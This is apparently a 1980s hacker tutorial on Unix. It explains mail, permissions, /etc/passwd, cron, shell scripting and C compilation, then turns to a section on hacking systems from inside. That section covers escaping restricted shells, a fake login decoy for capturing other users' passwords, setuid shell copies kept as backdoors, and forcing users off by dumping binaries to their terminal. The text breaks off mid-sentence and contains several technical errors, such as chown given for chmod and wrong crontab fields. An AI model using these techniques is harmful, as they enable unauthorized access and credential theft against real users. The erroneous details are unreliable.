read your mail, type "mail". Your first letter will be displayed, + and then you will be given a "?" prompt. Here are the legal commands you give at this point: ## -Read message number ##. + d -Delete last message read. + + -Go to next message. + - -Move back one message. + m -Send mail to user. + s -Save last message read. You can specify the name of the file + to which it is saved, or it will be saved to the default file, + mbox. + w -Same as s, but will save the message without the mail file + header. + x -Exit without deleting messages that have been read. + q -Exit, deleting messages that have been read. + p -Print last message read again. + ? -Lists these commands. + + Examples: + To send mail: + $ mail root + Hi bill! This is a nice system. + -John + ^d + $ + To read mail: + $ mail + From john Thu Mar 13 02:00:00 1986 + Hi bill! This is a nice system. + -John + ? d + Message deleted. + ?q + $ + +crypt -This is the Unix file encryption utility. Type "crypt". You will then + be prompted to enter the password. You then enter the text. Each line + is encrypted when you press return, and the encrypted form is displayed + on the screen. So, to encrypt a file, you must use I/O redirection. + Type "crypt [password] < [file1] > [file2]". This will encrypt the con- + tents of file1 and place the encrypted output in file2. If file 2 does + not exist, it will be created. + +passwd -This is the command used to change the password of an account. The + format is "passwd ". You must have superuser capabilities to + change the password for any account other than the one you are logged + in under. To change the password of the account you are currently + using, simply type "passwd". You will then be prompted to enter the + current password. Next, you will be asked to enter the new password. + Then you will be asked to verify the new password. If you verify the + old password correctly, the password change will be complete. (Note: + some systems use a security feature which forces you to use at least + 2 non-alphanumeric characters in the password. If this is the case with + the system you are on, you will be informed so if you try to enter a + new password that does not contain at least 2 non-alphanumeric char- + acters.) + +su -This command is used to temporarily assume the id of another account. + the format is "su ". If you don't specify an account, the + default root is assumed. If the account has no password, you will then + assume that account's identity. If it does have a password, you will + be prompted to enter it. Beware of hacking passwords like this, as the + system keeps a log of all attempted uses, both successful and un- + successful, and which account you attempted to access. + +mkdir -This command creates a directory. the format is "mkdir ". + +rmdir -This command deletes a directory. The directory must be empty first. + The format is "rmdir ". + +mv -Renames a file. The syntax is "mv [oldname] [newname]". You can use + full pathnames, but the new name must have the same pathname as the + old name, except for the filename itself. + +------------------------------------------------------------------------------- + Further help can usually be gained from the system itself. Most systems +feature on-line entries from the Unix System User's Manual. You can read these +entries using the man command. The format is "man ". Some Unix System +V systems also feature a menu-driven help facility. Simply type "help" to +access it. This one will provide you with a list of commands, as well as with +the manual entries for the commands. +------------------------------------------------------------------------------- + +UNIX FILE AND DIRECTORY PROTECTIONS +----------------------------------- + Every Unix account is assigned a specific user number, and a group +number. This is how the system identifies the user. Therefore, 2 accounts with +different usernames but the same user number would be considered by the system +to be the same id. These user and group numbers are what Unix uses to determine +file and directory access privileges. + Unix has three different file/directory permissions: read, write, and +execute. This how these permissions affect access to files: + +read -Allows a user to view the contents of the file. +write -Allows a user to change the contents of a file. +execute -Allows a user to execute a file (if it is an executable type of file; + if it isn't, the user will get an error when trying to execute it). + +This is how these permissions affect access to directories: + +read -Allows a user to list out the files in a directory (ls). +write -Allows a user to save and delete files in this directory. +execute -If a user has execute access to a directory, he can go to that dir- + ectory with the cd command. If he also has read permission to that dir- + ectory, he can also copy files from it and gain information on the + permissions for that directory and the files it contains, with the "l" + option to the ls command, which will be explained soon. + + Unix divides users into 3 classes: user (the owner of the file or dir- +ectory), group (members of the owner's group), and other (anyone who doesn't +fit into the first two classes). You can specify what permissions to give to a +file for each class of user. + To show the permissions of the files in a directory, use "ls -l". This +will list the contents of the directory (as in ls), and will show each's +permissions. For example: + $ls + bin startrek + $ ls -l + drwxrwxrwx 1 bin sys 12345 Mar 10 01:30 bin + -rwxr-xr-- 1 guest users 256 Mar 20 02:25 startrek + + In the above example, the directory we are in contains a subdirectory +called bin and a file called "startrek". Here is an explantion of the fields: +The first field contains the file's type and permissions. Look at the first +field of the first line, "drwxrwxrwx". Note the "d" at the begginning. Then see +the "-" at the begginging of the first field for the file startrek. This shows +the file type. "D" is a directory. "-" is a file. "c" is a device file. Now, +back to the first field of the first line again. Notice the "rwxrwxrwx". These +are the permissions. The permissions are divided into three groups: +[user][group][other]. R stands for read, w stands for write, and x stand for +execute. "rwxrwxrwx" means that all three classes of users, owner, group, and +other, have read, write, and execute permissions to the directory bin. Now look +at the second line. It reads "rwxr-xr--". Notice the "-"'s in the place of some +of the permissions. This means that the file was not given that permission. +Line 2 shows that the owner has read, write, and execute permissions for the +file startrek, members of the owner's group have read and execute permissions +but not write (notice the "-" in the place of the group part's w), and all +others have only read privileges ("r--"...there are hyphens in the place of the +others part's w and x). + Now, let's look at the other fields. The second field is a number (in +this case, the number is one for each line). This shows the number of copies of +this file on the system. The third field shows the name of the owner of file +(or directory). The fourth field shows the username of the owner of the file. +The fifth field, which is not shown on some systems, shows the name of the +owner's group.The sixth field shows the size of the file. the seventh field +shows the time and date the file was last modified. the last field shows the +name of the file or directory. + The command used to change file/directory permissions is chmod. There +are 2 ways to change permissions: symbolically and absolutely. This will +explain both. + When you change permissions symbolically, only the permissions you +specify to be added or deleted will be changed. The other permissions will +remain as they are. The format is: +chown [u, g, or o] [+ or -] [rwx] [file/directory name] +The following abbreviations are used: +u -User (the file or directory's owner) +g -Group (members of the owner's group) +o -Others (all others) +r -Read permission +w -Write permission +x -Execute permission + +You use u, g, and o to specify which group you wish to change the privileges +for. To add a permission, type "chown [class]+[permissions] [filename]". For +instance, to add group write permissions to the file startrek, type "chown g+w +startrek". To delete permissions, use the "-". For instance, to remove the +owner's write access to the file "startrek", type "chown u-w startrek". + + When you set file permissions absolutely, any permissions that you do +not give the file or directory are automatically deleted. The format for +setting permissions absolutely is "chown [mode number] filename". You determine +the mode number by adding together the code numbers for the permissions you +wish to give the file. Here are the permissions and their numbers: + +Others execute permission 1 +Others write permission 2 +Others read permission 4 + +Group execute permission 10 +Group write permission 20 +Group read permission 40 + +User (owner) execute permission 100 +User (owner) write permission 200 +User (owner) read permission 400 + + There are also two special file modes that can be set only absolutely. +These are the UID and GID modes. The UID mode, when applied to an executable +file, means that when another user executes the file, he executes it under the +user number of the owner (in other words, he runs the program as if he were the +owner of the file). If the file has its GID mode bit set, then when someone +executes the file, his group will temporarily be changed to that of the file's +owner. The permission number for the GID mode is 2000, and the number for the +UID mode is 4000. If the uid bit is set, there will be an "S" in the place of +the x in the owner permissions section when you check a file's permissions: +-rwSr-xr-x +If the uid bit is set, and the owner of the file has execute permissions, the S +will not be capitalized: +-rwsr-xr-x +If the gid bit is set, the same applies to the x in the section on group +permissions. + A short note here is in order on how these permissions affect superuser +accounts. They don't-unless the owner of the file is root. All superuser +accounts have the same user number, which means that the system considers them +all to be the same-that is, they are considered to be the root account. Thus, +superuser accounts are only bound by the protections of files and directories +that they own, and they can easily change the permissions of any files and +directories that they do not have the access to that they wish. + +SPECIAL UNIX FILES +------------------ + This section will detail the purposes of some files that are found on +all systems. There are quite a few of these, and knowing their uses and what +format their entries are in is very useful to the hacker. + +THE FILES +--------- + +/etc/passwd -This is the password file, and is THE single most important + file on the system. This file is where information on the + system's accounts are stored. Each entry has 7 fields: + + username:password:user#:group#:description:home dir:shell + + The first field, naturally, is the account's username. The + second field is the account's password (in an encrypted form). + If this field is blank, the account doesn't have a password. + The next field is the account's user number. The fourth field + is the account's group number. The fifth field is for a + description of the account. This field is used only in the + password file, and is often just left blank, as it has no + significance. The sixth field is the pathname of the account's + home directory, and the last field is the pathname of the + account's shell program. Sometimes you may see an account with + a program besides the standard shell programs (sh, csh, etc.) + as its shell program. These are "command logins". These + accounts execute these programs when logging in. For example, + the "who" command login would have the /bin/who program as its + shell. + Here is a typical-looking entry: + + root:hGBfdJYhdhflK:0:1:Superuser:/:/bin/sh + + This entry is for the root account. Notice that the encrypted + form of the password is 13 characters, yet the Unix passwords + are only 11 characters maximum. The last 2 characters are what + is called a "salt string", and are used in the encryption + process, which will be explained in more detail later. Now, + notice the user number, which is zero. Any account with a user + number of 0 has superuser capabilities. The group number is 1. + The account description is "superuser". The account's home dir- + ectory is the root directory, or "/". The account's shell is + the bourne shell (sh), which is kept in the directory /bin. + Sometimes you may see an entry in the password field like this: + :NHFfnldyNjh,21AB: + Notice the period after the 13th character, followed by 2 + digits and 2 letters. If an account has an entry like this, the + account has a fixed expiration date on its password. The first + digit, in this case 2, shows the maximum number of weeks that + the account can keep the same password. The second digit shows + how many weeks must pass before the account can change its + password. (This is to prevent users from using the same old + password constantly by changing the password when forced to and + then changing it back immediately.) The last 2 characters are + an encrypted form of when the password was last changed. + Other unusual password field entries you might encounter are: + :: + :,21: + The first entry means that the account has no password. The + second entry means that the account has no password yet, but + has a fixed expiration date that wil begin as soon as a pass- + word is given to it. + Now, for an explanation of how the Unix system encrypts + the passwords. The first thing any hacker thinks of is trying + decrypt the password file. This is as close to impossible as + anything gets in this world. I've often heard other "hackers" + brag about doing this...this is the biggest lie since Moses + said "I did it". The encryption scheme is a variation on the + DES (Data Encryption Standard). When you enter the command + passwd (to change the password), the system will form a 2 + character "salt string" based on the process number of the + password command you just issued. This 2-character string pro- + duces a slight change in the way the password is encrypted. + There are a total of 4096 different variations on the + encryption scheme caused by different salt string characters. + This is NOT the same encryption scheme used by the crypt + utility. The password is NEVER decrypted on the system. When + you log on, the password you enter at the password prompt is + encrypted (the salt string is taken from the password file) + and compared to the encrypted entry in the password file. The + system generates its own key, and as of yet, I have not + discovered any way to get the key. The login program does + not encrypt the password you enter itself, it does so, I + believe, by a system call. + +/etc/group -This is the group file. This allows the superuser to give + certain accounts group access to groups other than their own. + Entries are in the format: + + group name:password:group number:users in this group + + The first field is the name of the group. The second is the + field for the group password. In all my experience with Unix, + I have never seen the password feature used. The third is the + group's number. The fourth field is a list of the users who + group access to this group. (Note: this can include users whose + group number is different from the number of the group whose + entry you are reading in the group file.) The usernames are + separated by commas. Here's an example: + + sys::2:root,sys,adm,lp + + To change to a new group identity, type "newgrp [group]". If + the group has a password, you must enter the proper password. + You cannot change to another group if you are not listed as a + member of that group in the group file. + + +/dev/console -This is the device file for the system console, or the + system's main terminal. + +/dev/tty## -The device files for the system's terminals are usually in + the form tty##, such as tty09, and sometimes ttyaa,ttyab, etc. + Some ways to make use of the Unix system's treatment of devices + as files will be explored in the section on Hacking Unix. When + these files are not in use by a user (in other words, no one's + logged onto this terminal), the file is owned by root. While a + user is logged onto a terminal, however, ownership of its + device file is temporarily transferred to that account. + +/dev/dk## -These are the device files for the system's disks. + +login files -There are special files that are in a user's home directory + that contain commands that are executed when the user logs in. + The name of the file depends on what shell the user is using. + Here are the names of the files for the various shells: + + Shell File + ----- ---- + sh .profile + csh .cshrc + ksh .login + rsh .profile + + Some systems also use a file called ".logout" that contains + commands which are executed upon logoff. + These types of files are called shell scripts, and will + will be explained in the section on Unix Software Development's + explanation of shell programming. +/usr/adm/sulog -This is a log of all attempted uses of the su utility. It + shows when the attempt was made, what account made it, and + which account the user attempted to assume, and whether or not + the attempt was successful. +/usr/adm/loginlog + or +/usr/adm/acct/sum/loginlog- This is a log of all logins to the system. This + only includes the time and the account's username. + +mbox -These are files in the home directories of the system's users, + that contain all the mail messages that they have saved. + +/usr/mail/ -These files in the directory /usr/mail are named after + system accounts. They contain all the unread mail for + the account they are named after. +/dev/null -This is the null device file. Anything written to this file is + just lost forever. Any attempt to read this file will result in + an immediate control-D (end of file) character. +/tmp -The directory /tmp provides storage space for temporary files created + by programs and other processes. This directory will always have + rwxrwxrwx permissions. Examining these files occasionally reveals some + interesting information, and if you know what program generates them + and the format of the information in the file, you could easily change + the info in the files, thereby changing the outcome of the program. + +THE CRON UTILITIES +------------------ + An understanding of the cron utilities will be necessary to understand +certain parts of the section on Hacking Unix. This section will give a detailed +explanation of the workings of the cron utilities. + The cron utility is a utility which carries out tasks which must be +performed on a periodic basis. These tasks, and the times when they are to be +carried out, are kept in files in 2 directories: /usr/lib and +/usr/spool/cron. + The file crontab in the directory /usr/lib contains entries for system +tasks that must be performed on a periodic basis. The format for the entries in +this file is: + +minute hour dayofmonth monthofyear dayofweek commandstring + +The first field is the minutes field. This is a value from 0-59. +The second field is the hour field, a value from 0-23. +The third field is the day of the month, a value from 1-31. +The fifth field is the month of the year, a value from 1-2. +The sixth field is the day of the week, a value from 1-7, with monday being 1. +The seventh field is the pathname and any arguments of the task to be carried +out. + +An asterisk in a field means to carry out the task for every value of that +field. For instance, an asterisk in the minutes field would mean to carry out +that task every minute. Here's an example crontab entry: + +0 1 * * * /bin/sync + +This runs sync command, which is kept in the directory bin, at 1 am every day. +Commands in the file /usr/lib/crontab are performed with root privileges. + in the directory /usr/spool/crontabs, you will find files named after +system accounts. These files contain cron entries which are the same as those +in the file /usr/lib/crontab, but are carried out under the id of the user the +file is named after. The entries are in the same format. + +BEWARE! When modifying cron files- cron activity is logged! All cron activity +is logged in the file /usr/adm/cronlog. I've found, however, that on most +systems, this file is almost never checked. + +UNIX SOFTWARE DEVELOPMENT +------------------------- + The Unix operating system was initially created as an enviroment for +software development, and that remains its main use. This section will detail +some of the os's main facilities for software development, the C compiler and +shell programming, and their related utilities. A few of the other languages +will be briefly touched upon at the end of this section, also. + +SHELL PROGRAMMING +----------------- + The shell is more than a simple command interpreter. It is also a +sophisticated programming tool, with variables, control structures, and the +features of just about any other programming language. Shell programs are +called scripts. Scripts are just text files which contain the names of commands +and programs. When the script is executed, the command and programs whose names +it contains are executed as if you had typed in their names from your keyboard. +There are two ways to execute a shell script: if you have execute permission to +it, you can simply type in its name. Otherwise, (if you have read access to +it), you can type "sh [filename]". Here is a sample shell script: + +who +whoami + +As you can see, it contains the commands who and whoami. When you execute it, +you will see a list of the system's current users (the output of the who +command), and which account you are logged in under (the output of the whoami +command). + This will concentrate solely on shell programming. While shell +programming is essentially the same with all the shells, there are slight +syntax differences that make shell scripts incompatible with shells that they +were not specifically written for. + +SHELL VARIABLES +--------------- + Like any programming language, the shell can handle variables. To set +the value of a variable, type: + +[variable]=[value] + +For example: + +counter=1 + +This will assign the value "1" to the variable counter. If the variable counter +does not already exist, the shell will create it. Note, that there are no +"numeric" variables in shell programming- all the variables are strings. For +instance, we could later type: + +counter=This is a string + +And counter would now be equal to "This is a string". There is a command called +"expr", however, that will let you treat a variable as a numeric value, and +will be explained later. + When setting the value of a variable, you only use the variable name. +When you specify a variable as an argument to a command or program, however, +you must precede the variable with a dollar sign. For instance: + +user=root + +Now, we want to specify user as an argument to the command "ps -u". We would +type: + +ps -u$user + +Which would, of course, display the processes of the user "root". + +SPECIAL SHELL VARIABLES +----------------------- + There are certain vaiables which are already pre-defined by the shell, +and have special meaning to it. Here is a list of the more important ones and +their meanings to the shell: + +HOME -(Notice the caps. All pre-defined variables are in all-caps.) This + variable contains the pathname of the user's home directory. + +PATH -This is a good time to explain something which makes Unix a very + unique operating system. In Unix, there are no commands "built-in" to + the operating system. All the commands are just regular programs. The + PATH variable contains a list of the pathnames of directories. When you + type in the name of a command or program, the shell searches through + the directories listed in the PATH variable (in the order specified in + the variable) until it finds a program with the same name as the name + you just typed in. The format for the list of directories in the PATH + variable is: + + [pathname]:[pathname]:[pathname]... + + For example, the default searchpath is usually: + + /bin:/usr/bin:/usr/local + + A blank entry in the pathname, or an entry for ".", means to check the + directory the user is currently in. For instance, all these paths + contain blank or "." entries: + + .:/bin:/usr/bin [Notice . at begginning of path] + :/bin:/usr/bin [Notice that path begins with :] + /bin:/usr/bin: [Note that path ends with : ] + +PS1 -This variable contains the shell prompt string. The default is usually + "$" ("&" if you're using BSD Unix). If you have the "&" prompt, and + wish to have the dollar sign prompt instead, just type: + + PS1=$ + +TERM -This contains the type of terminal you are using. Common terminal + types are: + + ansi vt100 vt52 vt200 ascii tv150 + + And etc... Just type "TERM=[termtype]" to set your terminal type. + +COMMAND LINE VARIABLES +---------------------- + Command line variables are variables whose values are set to arguments +entered on the command line when you execute the shell script. For instance, +here is a sample shell script called "repeat" that uses command line variables: + +echo $1 +echo $2 +echo $3 + +The echo command prints out the values following it. In this case, it will +print out the values of the variables $1, $2, and $3. These are the command +line variables. For instance, $1 contains the value of the first argument you +entered on the command line, $2 contains the second, $3 contains the third, an +so on to infinity. Now, execute the script: + +repeat apples pears peaches + +The output from the "repeat" shell script would be: + +apples +pears +peaches + +Get the idea? + +SPECIAL COMMAND LINE VARIABLES +------------------------------ + There are 2 special command line variables, $O and $#. $O contains the +name of command you typed in (in the last example, $O would be repeat). $# +contains the number of arguments in the command line. (In the last example, $# +would be 3.) + +SPECIAL COMMANDS FOR SHELL PROGRAMS +----------------------------------- + These commands were added to the Unix os especially for shell +programming. This section will list them, their syntax, and their uses. + +read -This command reads the value of a variable from the terminal. The + format is: "read [variable]". For example, "read number". The variable + is not preceded by a dollar sign when used as an argument to this com- + mand. + +echo -This command displays information on the screen. For example, + "echo hello" would display "hello" on your terminal. If you specify + a variable as an argument, it must be preceded by a dollar sign, for + example "echo $greeting". + +trap -This command traps certain events, such as the user being disconnected + or pressing the break key, and tells what commands to carry out if they + occur. The format is: trap "commands" eventcodes. the event codes are: + 2 for break key, and 1 for disconnect. You can specify multiple com- + mands with the quotation marks, separating the commands with a semi- + colon (";"). For example: + + trap "echo 'hey stupid!'; echo 'don't hit the break key'" 2 + + Would echo "Hey stupid!" and "Don't hit the break key" if the user hits + the break key while the shell script is being executed. + +exit -This command terminates the execution of a shell procedure, and ret- + urns a diagnostic value to the enviroment. The format is: + "exit [value]", where value is 0 for true and 1 for false. The meaning + of the value parameter will become clear later, in the section on + the shell's provisions for conditional execution. If the shell script + being executed is being executed by another shell script, control is + passed to the next highest shell script. + +ARITHMETIC WITH EXPR +-------------------- + The expr command allows you to perform arithmetic on the shell +variables, and sends the output to the screen. (Though the output may be +redirected.) The format is: + +expr [arg] [function] [arg] [function] [arg]... + +Where [arg] may be either a value, or a variable (preceded by a dollar sign), +and [function] is an arithmetic operation, one of the following: + ++ -Add. +- -Subtract. +\* -Multiply. +/ -Divide. +% -Remainder from a division operation. + +For example: + +$ num1=3 +$ num2=5 +$ expr num1 + num2 + 8 +$ + +TEXT MANIPULATION WITH SORT +--------------------------- + The sort command sorts text by ASCII or numeric value. The command +format is: + +sort [field][option]... file + +where file is the file you wish to sort. (The sort command's input may be +redirected, though, just as its output, which is ordinarily to the screen, can +be.) The sort command sorts by the file's fields. If you don't specify any +specific field, the first field is assumed. for example, say this file +contained names and test scores: + +Billy Bob 10 +Tom McKann 5 +Doobie Kairful 20 + +the file's fields would be first name, last name, and score. So, to sort the +above file (called "students") by first name, you would issue the command: + +sort students + +And you would see: + +Billy Bob 10 +Doobie Kairful 20 +Tom McKann 5 + +If you wanted to sort the file's entries by another field, say the second field +of the file "students" (last names), you would specify: + +sort +1 students + +The +1 means to skip ahead one field and then begin sorting. Now, say we wanted +to sort the file by the 3rd field (scores). We would type: + +sort +2 students + +to skip 2 fields. But the output would be: + +Billy Bob 10 +Tom McKann 5 +Doobie Kairful 20 + +Notice that the shorter names came first, regardless of the numbers in the +second field. There is a reason for this- the spaces between the second and 3rd +fields are considered to be part of the 3rd field. You can tell the sort +command to ignore spaces when sorting a field, however, using the b option. The +format would be: + +sort +2b students + +but...another error! The output would be: + +Billy Bob 10 +Doobie Kairful 20 +Tom McKann 5 + +Why did the value 5 come after 10 and 20? Because the sort command wasn't +really sorting by numeric value- it was sorting by the ASCII values of the +characters in the third field, and 5 comes after the digits 1 and 2. We could +specify that the field be treated by its numerical value by specifying the n +option: + +sort +2n students + +Output: + +Tom McKann 5 +Billy Bob 10 +Doobie Kairful 20 + +Notice that if we use the n option, blanks are automatically ignored. + +We can also specify that sort work in the reverse order on a field. For +example, if we wanted to sort by last names in reverse order: + +sort +1r students + +Output: + +Tom McKann 5 +Doobie Kairful 20 +Billy Bob 10 + +By using pipes, you can direct the output of one sort command to the input of +yet another sort command, thus allowing you to sort a file by more than one +field. This makes sort an excellent tool for text manipulation. It is not, +however, the only one. Remember, you can use any Unix command or program in a +shell script, and there are many different commands for text manipulation in +Unix, such as grep (described in an earlier section on basic commands). +Experiment with the different commands and ways of using them. + +LOOPING +------- + The for/do loop is a simple way to repeat a step for a certain number +of times. The format is: + +for [variable] in [values] +do [commands] +done + +You do not precede the variable with a dollar sign in this command. The for/do +loop works by assigning the variable values from the list of values given, one +at a time. For example: + +for loopvar in 1 2 3 5 6 7 +do echo $loopvar +done + +On the first pass of the loop, loopvar would be assigned the value 1, on the +second pass 2, on the third pass 3, on the fourth pass 5, on the fifth pass 6, +and on the sixth pass 7. I skipped the number 4 to show that you do not have to +use values in numerical order. In fact, you don't have to use numerical +arguments. You could just as easily have assigned loopvar a string value: + +for loopvar in apples peaches pears +do echo "This pass's fruit is:" + echo $loopvar +done + +Note that you can also specify multiple commands to be carried out in the do +portion of the loop. + +SELECTIVE EXECUTION WITH CASE +----------------------------- + The case command allows you to execute commands based on the value of a +variable. The format is: + +case [variable] in + + [value]) commands + commands + commands;; + [value2]) commands + commands;; + [value3]) ...and so on + esac + +For example: + +case $choice in + 1) echo "You have chosen option one." + echo "This is not a good choice.";; + + 2) echo "Option 2 is a good choice.";; + + *) echo "Invalid option.";; + esac + +Now, to explain that: + If the variable choice's value is "1", the commands in the section for +the value 1 are carried out until a pair of semicolons (";;") is found. The +same if the value of choice is "2". Now, note the last entry, "*". This is a +wildcard character. This means to execute the commands in this section for any +other value of choice. Easac signals the end of the list of execution options +for case. + +DETERMINING TRUE/FALSE CONDITIONS WITH TEST +------------------------------------------- + The test command tests for various conditions of files and variables +and returns either a true value (0) or a false value (1), which is used in +conjuction with the if/then statements to determine whether or not a series of +commands are executed. There are several different formats for test, depending +on what kind of condition you are testing for. When using variables with test, +you must always precede the variable with a dollar sign. + +NUMERIC TESTS +------------- +Format: +test [arg1] option [arg2] + +the arguments can either be numbers or variables. + +OPTIONS TESTS TRUE IF +------- ------------- +-eq arg1=arg2 +-ne arg1<>arg2 +-gt arg1>arg2 +-lt arg1=arg2 +-le arg1<=arg2 + +FILETYPE TESTS +------------- +Format: +test [option] file or directory name + +OPTIONS TESTS TRUE IF +------- ------------- +-s file or directory exists and is not empty +-f the "file" is a file and not a directory +-d the "file" is really a directory +-w the user has write permission to the file/directory +-r the user has read permission to the file/directory + +CHARACTER STRING TESTS +---------------------- +Format: +test [arg1] option [arg2] +The arguments can be either strings of characters or variables with character +string values. + +OPTIONS TESTS TRUE IF +------- ------------- += arg1=arg2 +!= arg<>arg2 + +A note here about string tests. You must enclose the names of the variables in +quotation marks (like "$arg1") if you wish the test to take into consideration +spaces, otherwise space characters are ignored, and " blue" would be +considered the same as "blue". + +TESTING FOR THE EXISTANCE OF A STRING OF CHARACTERS +--------------------------------------------------- +Format: +test [option] arg +Arg is a variable. + +OPTIONS TESTS TRUE IF +------- ------------- +-z variable has a length of 0 +-n variable has a length greater than 0 + +COMBINING TESTS WITH -A AND -O +------------------------------ + These options stand for "and" (-a) and "or" (-o). They allow you to +combine tests, for example: + +test arg1 = arg2 -o arg1 = arg3 + +means that a true condition is returned if arg1=arg2 or arg1=arg3. + + +CONDITIONAL EXECUTION WITH IF/THEN/ELSE/ELIF +-------------------------------------------- +Format: +if [this condition is true] +then [do these commands] +fi + +Example: + +if test arg1 = arg2 +then echo "argument 1 is the same as argument 2" +fi + +This is pretty much self-explanatory. If the condition test on the if line +returns a true value, the the commands following "then" are carried out until +the fi statement is encountered. + +Format: +if [this condition is true] +then [do these commands] +else [do these commands] +fi + +Again, pretty much self explanatory. The same as the above, except that if the +condition isn't true, the commands following else are carried out, until fi is +encountered. + +Format: +if [this condition is true] +then [do these commands] +elif [this condition is true] +then [do these commands] +fi + +The elif command executes another condition test if the first condition test is +false, and if the elif's condition test returns a true value, the command for +its then statement are then carried out. Stands for "else if". + +WHILE/DO LOOPS +-------------- +Format: +while [this condition is true] +then [do these commands] +done + +Repeats the commands following "then" for as long as the condition following +"while" is true. Example: + +while test $looper != "q" +then read looper + echo $looper +done + +while will read the value of the variable looper from the keyboard and display +it on the screen, and ends if the value of looper is "q". + +SUMMARY +------- + This small tutorial by no means is a complete guide to shell +programming. Look at shell scripts on the systems you crack and follow their +examples. Remember, that you can accomplish a great deal by combining the +various control structures (such as having an if/then conditional structure +call up a while/do loop if the condition is true, etc.) and by using I/O +redirection, pipes, etc. My next Unix file will cover more advanced shell +programming, and examine shell programming on another popular shell, the +Berkely C shell. + +THE C COMPILER +-------------- + C is sort of the "official" language of Unix. Most of the Unix +operating system was written in C, and just about every system I've ever been +on had the C compiler. The command to invoke the c compiler is cc. The format +is "cc [filename]", where filename is the name of the file which contains the +source code. (The filename must end in .c) You can create the source code file +with any of the system's text editors. The include files, stdio.h and others, +are kept in a directory on the system. You do not have to have a copy of +these files in your current directory when you compile the file, the compiler +will search this directory for them. If you wish to include any files not in +the include library, they must be in your current directory. The compiled +output will be a file called "a.out" in your current directory. + +COMPILING INDIVIDUAL MODULES +---------------------------- + If you're working on a very large program, you will probably want to +break it up into small modules. You compile the individual modules with the -c +option, which only generates the object files for the module. Then, use the +link editor to combine and compile the object files. The object files will be +generated with the same name as the source files, but the file extension will +be changed from .c to .o When you have created all the object files for all +of the modules, combine them with the ld (link editor) like this: + +ld /lib/crtO.o [module] [module]... -lc + +which will give you the final, compiled program, in a file named a.out. For +example: + +ld /lib/crtO.o part1.o part2.o -lc + +You must remeber to include /lib/crtO.o and the -lc parts in the command, in +the order shown. Also, the object files must be specified in the ld command +in the order that they must be in the program (for instance, if part1 called +part2, part2 can't be BEFORE part1). + +CHECKING FOR ERRORS IN C PROGRAMS +--------------------------------- + The lint command checks for errors and incompatibility errors in C +source code. Type "lint [c source-code file]". Not all of the messages returned +by lint are errors which will prevent the program from compiling or executing +properly. As stated, it will report lines of code which may not be +transportable to other Unix systems, unused variables, etc. + +C BEAUTIFIER +------------ + The cb (C beautifier) program formats C source code in an easy to read, +"pretty" style. The format is "cb [file]". The output is to the screen, so if +you want to put the formatted source code into a file, you must redirect the +output. + +SPECIAL C COMMANDS +------------------ + The Unix C compiler has a command called system that executes Unix +commands and programs as if you had typed in the commands from the keyboard. +The format is: + +system("command line") + +Where command line is any command line you can execute from the shell, such as: + +system("cat /etc/passwd") + +Another command which performs a similar function is execvp. The format is: + +execvp("command") + +An interesting trick is to execute a shell program using execvp. This will make +the program function as a shell. + +HACKING THE UNIX SYSTEM +----------------------- + This is it, kiddies, the one you've waded through all that rodent +nonsense for! This section will describe advanced hacking techniques. Most of +these techniques are methods of defeating internal security (I.E. security once +you're actually inside the system). There is little to be said on the subject +of hacking into the system itself that hasn't already been said in the earlier +sections on logging in, Unix accounts, and Unix passwords. I will say this +much- it's easier, and faster, to password hack your way from outside the +system into a user account. Once you're actually inside the system, you will +find it, using the techniques described in this section, almost easy to gain +superuser access on most systems. (Not to mention that nothing is quite as +rewarding as spending 3 days hacking the root account on a system, only to +receive the message "not on console-disconnecting" when you finally find the +proper password.) If you do not have a good understanding of the Unix operating +system and some of its more important utilities already, you should read the +earlier parts of this file before going on to this section. + +OVERCOMING RSH RESTRICTIONS +--------------------------- + The rsh (restricted Bourne shell) shell attempts to limit the commands +available to a user by preventing him from executing commands outside of his +searchpath, and preventing him from changing directories. It also prevents you +from changing the value of shell variables directly (i.e. typing +"variable=value"). There are some easy ways to overcome these restrictions. + You can reference any file and directory in the system by simply using +its full pathname. You can't change directories like this, or execute a file +that is outside of your searchpath, but you can do such things as list out the +contents of directories, edit files in other directories, etc. (If you have +access to the necessary commands.) + The biggest flaw in rsh security is that the restrictions that are +described above ignored when the account's profile file is executed upon logon. +This means that, if you have access to the edit command, or some other means of +modifying your account's profile, you can add a line to add a directory to your +searchpath, thereby letting you execute any programs in that directory. The +restriction on changing directories is also ignored during logon execution of +the profile. So, if you absolutely, positively HAVE to go to another directory, +you can add a cd command your .profile file. + +OVERCOMING COPY AND WRITE RESTRICTIONS +-------------------------------------- + This is a simple trick. If you have read access t a file, but cannot +copy it because of directory protections, simply redirect the output of the cat +command into another file. If you have write access to a directory but not +write access to a specific file, you can create a copy of the file, modify it +(since it will be owned by your account), delete the original, and rename the +copy to the name of the original. + +DETACHED ACCOUNTS +----------------- + This is a big security hole in many Unix systems. Occasionally, if a +user is disconnected without logging off, his account may remain on-line, and +still attached to the tty he was connected to the system through. Now, if +someone calls to the system and and gets connected to that tty, he is +automatically inside the system, inside the disconnected user's account. There +are some interesting ways to take advantage of this flaw. For instance, if you +desire to gain the passwords to more account, you can set a decoy program up to +fake the login sequence, execute the program, and then disconnect from the +system. Soon, some unlucky user will call the system and be switched into the +detached account's tty. When they enter their username and password, the decoy +will store their input in a file on the system, display the message "login +incorrect", and then kill the detached account's shell process, thus placing +the user at the real login prompt. A Unix decoy written by Shooting Shark will +be given at the end of this file. + +UID SHELLS +---------- + When the uid bit is set on a shell program, executing this shell will +change your user id to the user id of the account that owns the shell file, and +you will have full use of that account, until you press control-d (ending the +second shell process) and return to your normal user id. This gives you the +power to execute any commands under that account's user id. This is better than +knowing the account's password, since as long as the file remains on the +system, you can continue to make use of that account, even if the password is +changed. When I gain control of an account, I usually make a copy of the shell +while logged in under that account in a nice, out of the way directory, and set +its uid and gid bits. That way, if I should happen to lose the account (for +instance, if the password were changed), I could log in under another account +and still make use of the lost account by executing the uid shell. + +FORCED DETACHING +---------------- + This is an easy means of gaining the use of an account on systems with +the detached account flaw. Usually, most terminal device files will have public +write permission, so that the user that logs in under it can receive messages +via write (unless he turns off messages with the mesg n command). This means +that you can cat a file into the user's terminal device file. A compiled file, +full of all kinds of strange control characters and garbage, works nicely. Say, +the user is logged in on tty03. Just type cat /bin/sh > /dev/tty03. The user +will see something like this on his screen: + +LKYD;uiayh;fjahfasnf kajbg;aev;iuaeb/vkjeb/kgjebg;iwurghjiugj;di vd +b/fujhf;shf;j;kajbv;jfa;vdblwituwoet8y6- +2958ybp959vqvq43p8ytpgyeerv98tyq438pt634956b v856 -868vcf-56- +e8w9v6bc[6[b6r8wpcvt + +Hehehe! Now, the poor devil is confused. He tries to press break- no response, +and the garbage just keeps 